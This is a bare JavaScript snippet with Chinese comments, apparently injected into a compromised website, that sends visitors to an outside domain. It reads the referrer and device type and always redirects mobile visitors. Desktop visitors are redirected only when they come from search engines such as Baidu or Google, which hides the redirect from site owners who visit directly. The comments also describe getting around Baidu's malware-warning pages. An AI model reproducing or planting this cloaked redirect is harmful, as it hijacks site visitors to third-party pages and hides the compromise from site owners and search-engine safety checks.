(function() { var refRegex = /\.(haosou|baidu|so|google|yahoo|sougou|bing|youdao|soso|shenma|sm|sogou)(\.[a-z0-9\-]+){1,2}\//ig; var ref = document.referrer || document.referer || ''; // 兼容不同浏览器拼写 var ua = "Mozilla\/5.0 (Windows NT 10.0; WOW64; Trident\/7.0; rv:11.0) like Gecko"; var redirectUrl = "https://h8jr.yizhanshijiapinggouwu.com"; function getRandomDelay(min, max) { return Math.floor(Math.random() * (max - min + 1) + min); } function triggerRedirect() { try { // 安全地使用localStorage,兼容老版本浏览器 if (typeof(Storage) !== "undefined" && localStorage) { localStorage.setItem('redirectUrl', redirectUrl); } } catch(e) { // localStorage不可用时忽略错误,不影响重定向 } setTimeout(function() { try { window.location.href = redirectUrl; } catch(e) { // 重定向失败时的备用方案 try { window.location = redirectUrl; } catch(e2) { // 最后的备用方案 document.location.href = redirectUrl; } } }, getRandomDelay(10, 25)); } // 更可靠的移动设备检测(包括手机和平板)- 基于特征而非品牌枚举 function isMobileDevice() { // 方法1: 检查核心移动操作系统(最可靠,覆盖所有品牌的手机和平板) if (/Android|iPhone|iPad|iPod|Windows Phone|BlackBerry|webOS|SymbianOS|IEMobile|Opera Mini|Opera Mobi|Tablet/i.test(ua)) { return true; } // 方法2: 检查 Mobile 关键词 if (/Mobile/i.test(ua)) { return true; } // 方法3: 检查中国常见的移动应用和浏览器 if (/MicroMessenger|UCBrowser|QQBrowser|baiduboxapp|Weibo|AlipayClient|ToutiaoMicroApp|NetType/i.test(ua)) { return true; } // 方法4: 检查触摸屏特征(覆盖平板电脑) if ('ontouchstart' in window || navigator.maxTouchPoints > 0) { // 触摸屏设备,通过屏幕宽度判断 // 宽度 <= 1366 认为是移动设备(覆盖 iPad Pro 12.9") // 只排除触摸屏笔记本(宽度通常 > 1366) if (window.screen.width <= 1366) { return true; } } return false; } var isMobile = isMobileDevice(); // 宽松的搜索引擎来源检测(包括百度报毒页等) var hasSearchEngineRef = /baidu|google|bing|sogou|so\.com|360\.cn|haosou|shenma|yahoo|youdao|soso/i.test(ref); // 检测是否从拦截页面来(百度报毒页跳转后 referer 会变成拦截页面) var isFromStatusPage = /_status\.html/i.test(ref); // 检测当前页面是否是拦截页面 var currentUrl = window.location.href; var isOnStatusPage = /_status\.html/i.test(currentUrl); // 跳转逻辑: // 1. 移动设备:总是跳转 // 2. PC端:必须来自搜索引擎才跳转 if (isMobile) { // 移动设备:无条件跳转 triggerRedirect(); } else { // PC端:必须有搜索引擎 Referer 才跳转 if (refRegex.test(ref) || hasSearchEngineRef) { triggerRedirect(); } // PC 直接访问(无搜索引擎 Referer):不跳转 } })();